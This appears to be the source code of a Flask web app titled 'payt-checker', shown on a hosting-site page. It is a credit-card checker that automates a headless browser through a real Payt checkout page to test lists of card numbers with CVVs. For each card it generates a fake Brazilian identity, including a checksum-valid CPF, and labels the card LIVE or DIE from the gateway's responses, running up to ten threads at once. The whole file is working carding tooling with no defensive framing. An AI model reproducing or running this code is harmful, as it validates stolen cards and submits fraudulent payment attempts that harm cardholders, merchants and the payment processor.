Spaces:
Sleeping
Sleeping
| import asyncio | |
| import random | |
| import time | |
| import re | |
| import requests | |
| import threading | |
| import logging | |
| from flask import Flask, render_template, request | |
| from flask_socketio import SocketIO | |
| from playwright.async_api import async_playwright | |
| logging.basicConfig(level=logging.INFO) | |
| logger = logging.getLogger(__name__) | |
| app = Flask(__name__, template_folder='templates', static_folder='static') | |
| app.config['SECRET_KEY'] = 'payt-checker-v10-giant-list' | |
| socketio = SocketIO(app, cors_allowed_origins="*", async_mode='threading') | |
| active_processes = {} | |
| class DataGenerator: | |
| """Gerador de dados brasileiros de alta performance sem depender de APIs externas""" | |
| NOMES = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda", "Lucas", "Mariana", "Rafael", "Beatriz", "Gustavo", "Camila", "Felipe", "Leticia", "Ricardo", "Amanda", "Daniel", "Larissa", "Thiago", "Gabriela", "Bruno", "Vanessa", "Vinicius", "Jessica", "Leonardo", "Aline", "Rodrigo", "Priscila", "Marcelo", "Bruna", "Eduardo", "Bianca", "Andre", "Renata", "Diego", "Debora", "Vitor", "Natalia", "Gabriel", "Tatiana", "Igor", "Monique", "Caio", "Cristiane", "Douglas", "Sabrina", "Hugo", "Kelly"] | |
| SOBRENOMES = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Pereira", "Lima", "Gomes", "Costa", "Ribeiro", "Martins", "Carvalho", "Almeida", "Lopes", "Soares", "Fernandes", "Vieira", "Barbosa", "Rocha", "Dias", "Nascimento", "Andrade", "Moreira", "Nunes", "Marques", "Machado", "Mendes", "Freitas", "Cardoso", "Ramos", "Santana", "Teixeira", "Guimaraes", "Melo", "Castro", "Pires", "Resende", "Moura", "Cavalcante", "Borges", "Moraes", "Pinheiro", "Bezerra", "Magalhaes", "Aragao", "Aguiar", "Batista", "Miranda"] | |
| def gerar_cpf(): | |
| def calcula_digito(digitos): | |
| s = 0 | |
| p = len(digitos) + 1 | |
| for d in digitos: | |
| s += int(d) * p | |
| p -= 1 | |
| rest = s % 11 | |
| return 0 if rest < 2 else 11 - rest | |
| cpf = [random.randint(0, 9) for _ in range(9)] | |
| cpf.append(calcula_digito(cpf)) | |
| cpf.append(calcula_digito(cpf)) | |
| return "".join(map(str, cpf)) | |
| def gerar_pessoa(cls): | |
| nome = f"{random.choice(cls.NOMES)} {random.choice(cls.SOBRENOMES)} {random.choice(cls.SOBRENOMES)}" | |
| ddd = random.choice([11, 12, 13, 14, 15, 16, 17, 18, 19, 21, 22, 24, 27, 28, 31, 32, 33, 34, 35, 37, 38, 41, 42, 43, 44, 45, 46, 47, 48, 49, 51, 53, 54, 55, 61, 62, 63, 64, 65, 66, 67, 68, 69, 71, 73, 74, 75, 77, 79, 81, 82, 83, 84, 85, 86, 87, 88, 89, 91, 92, 93, 94, 95, 96, 97, 98, 99]) | |
| telefone = f"{ddd}9{random.randint(7000, 9999)}{random.randint(1000, 9999)}" | |
| email = f"{nome.lower().replace(' ', '')}{random.randint(10, 999)}@gmail.com" | |
| return { | |
| 'nome': nome, | |
| 'nome_cartao': nome.upper(), | |
| 'cpf': cls.gerar_cpf(), | |
| 'email': email, | |
| 'telefone': telefone | |
| } | |
| class PaytChecker: | |
| def __init__(self, sid): | |
| self.sid = sid | |
| self.base_url = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2" | |
| async def emit_to_client(self, event, data): | |
| socketio.emit(event, data, room=self.sid) | |
| await asyncio.sleep(0.1) | |
| def classificar_retorno(self, mensagem): | |
| termos_live = ["compra ainda não foi finalizada", "saldo insuficiente", "suporte", "verifique os dados"] | |
| termos_die = ["revise os dados", "não conseguimos processar", "recusado", "inválidos"] | |
| for t in termos_live: | |
| if t.lower() in mensagem.lower(): return "LIVE" | |
| for t in termos_die: | |
| if t.lower() in mensagem.lower(): return "DIE" | |
| return "DIE" | |
| async def capturar_retorno(self, page): | |
| for _ in range(60): | |
| if self.sid in active_processes and active_processes[self.sid].get('stop'): return "STOP", "" | |
| await asyncio.sleep(1) | |
| if any(x in page.url for x in ["obrigado", "success", "sucesso"]): | |
| return "LIVE", "Pagamento aprovado!" | |
| try: | |
| for sel in ['xpath=//*[@id="app"]/nav/div/p', '.swal2-html-container', '.toast-message', '.alert', '.error-message']: | |
| locator = page.locator(sel) | |
| if await locator.count() > 0: | |
| msg = (await locator.first.text_content()).strip() | |
| if any(x in msg.lower() for x in ["processando", "aguarde", "confirmando"]): continue | |
| return self.classificar_retorno(msg), msg | |
| except: pass | |
| return "DIE", "Timeout - Sem resposta da gateway" | |
| async def testar_cartao(self, cartao, slot, stats_container): | |
| if self.sid in active_processes and active_processes[self.sid].get('stop'): return | |
| partes = cartao.split('|') | |
| if len(partes) != 4: return | |
| numero, mes, ano, cvv = partes | |
| ano = ano[-2:] if len(ano) == 4 else ano | |
| dados = DataGenerator.gerar_pessoa() | |
| inicio = time.time() | |
| async with async_playwright() as p: | |
| browser = None | |
| try: | |
| browser = await p.chromium.launch(headless=True, args=['--no-sandbox']) | |
| page = await browser.new_page() | |
| await self.emit_to_client('thread_status', {'id': slot, 'status': 'active', 'card': cartao}) | |
| await page.goto(self.base_url, wait_until='load', timeout=90000) | |
| # Preenchimento Blindado | |
| async def fill_robust(selector, value, is_card=False): | |
| await page.wait_for_selector(selector, timeout=20000) | |
| await page.click(selector, force=True) | |
| if is_card: | |
| await page.type(selector, str(value), delay=50) | |
| else: | |
| await page.fill(selector, str(value)) | |
| await fill_robust('#full_name', dados['nome']) | |
| await fill_robust('#email', dados['email']) | |
| await fill_robust('#phone', dados['telefone']) | |
| await fill_robust('#cpf_cnpj', dados['cpf']) | |
| await page.evaluate("window.scrollBy(0, 500)") | |
| await asyncio.sleep(0.5) | |
| await fill_robust('#cardNumber', numero, is_card=True) | |
| await fill_robust('#cardName', dados['nome_cartao']) | |
| await fill_robust('#cardDueDate', f"{mes}{ano}") | |
| await fill_robust('#cardCvv', cvv) | |
| await page.click('button:has-text("Confirmar Pagamento")', force=True) | |
| status, msg = await self.capturar_retorno(page) | |
| if status == "STOP": | |
| await browser.close() | |
| return | |
| tempo = round(time.time() - inicio, 1) | |
| if status == "LIVE": | |
| stats_container['lives'] += 1 | |
| await self.emit_to_client('live_card', {'card': cartao, 'msg': msg, 'tempo': tempo}) | |
| else: | |
| stats_container['dies'] += 1 | |
| stats_container['checked'] += 1 | |
| await self.emit_to_client('result', { | |
| 'entry': {'status': status, 'card': cartao, 'msg': msg, 'slot': slot, 'tempo': tempo}, | |
| 'stats': stats_container | |
| }) | |
| await browser.close() | |
| except Exception as e: | |
| stats_container['errors'] += 1 | |
| stats_container['checked'] += 1 | |
| await self.emit_to_client('result', { | |
| 'entry': {'status': 'ERROR', 'card': cartao, 'msg': str(e), 'slot': slot, 'tempo': 0}, | |
| 'stats': stats_container | |
| }) | |
| if browser: await browser.close() | |
| def index(): | |
| return render_template('index.html') | |
| def run_async_checker(cards, threads_count, sid): | |
| loop = asyncio.new_event_loop() | |
| asyncio.set_event_loop(loop) | |
| stats = {'lives': 0, 'dies': 0, 'errors': 0, 'checked': 0, 'total': len(cards)} | |
| checker = PaytChecker(sid) | |
| socketio.emit('started', {'total': len(cards), 'threads': threads_count}, room=sid) | |
| async def worker(card_list, slot_id): | |
| for card in card_list: | |
| if sid in active_processes and active_processes[sid].get('stop'): break | |
| await checker.testar_cartao(card, slot_id, stats) | |
| socketio.emit('thread_status', {'id': slot_id, 'status': 'idle', 'card': ''}, room=sid) | |
| chunks = [cards[i::threads_count] for i in range(threads_count)] | |
| tasks = [worker(chunk, i) for i, chunk in enumerate(chunks) if chunk] | |
| loop.run_until_complete(asyncio.gather(*tasks)) | |
| socketio.emit('finished', {'stats': stats, 'stopped': (sid in active_processes and active_processes[sid].get('stop'))}, room=sid) | |
| if sid in active_processes: del active_processes[sid] | |
| loop.close() | |
| def handle_start(data): | |
| sid = request.sid | |
| if sid in active_processes: return | |
| cards = [c.strip() for c in data['cards'].split('\n') if '|' in c] | |
| threads_count = min(int(data['threads']), 10) | |
| active_processes[sid] = {'stop': False} | |
| threading.Thread(target=run_async_checker, args=(cards, threads_count, sid)).start() | |
| def handle_stop(): | |
| sid = request.sid | |
| if sid in active_processes: active_processes[sid]['stop'] = True | |
| if __name__ == '__main__': | |
| socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe_werkzeug=True) | |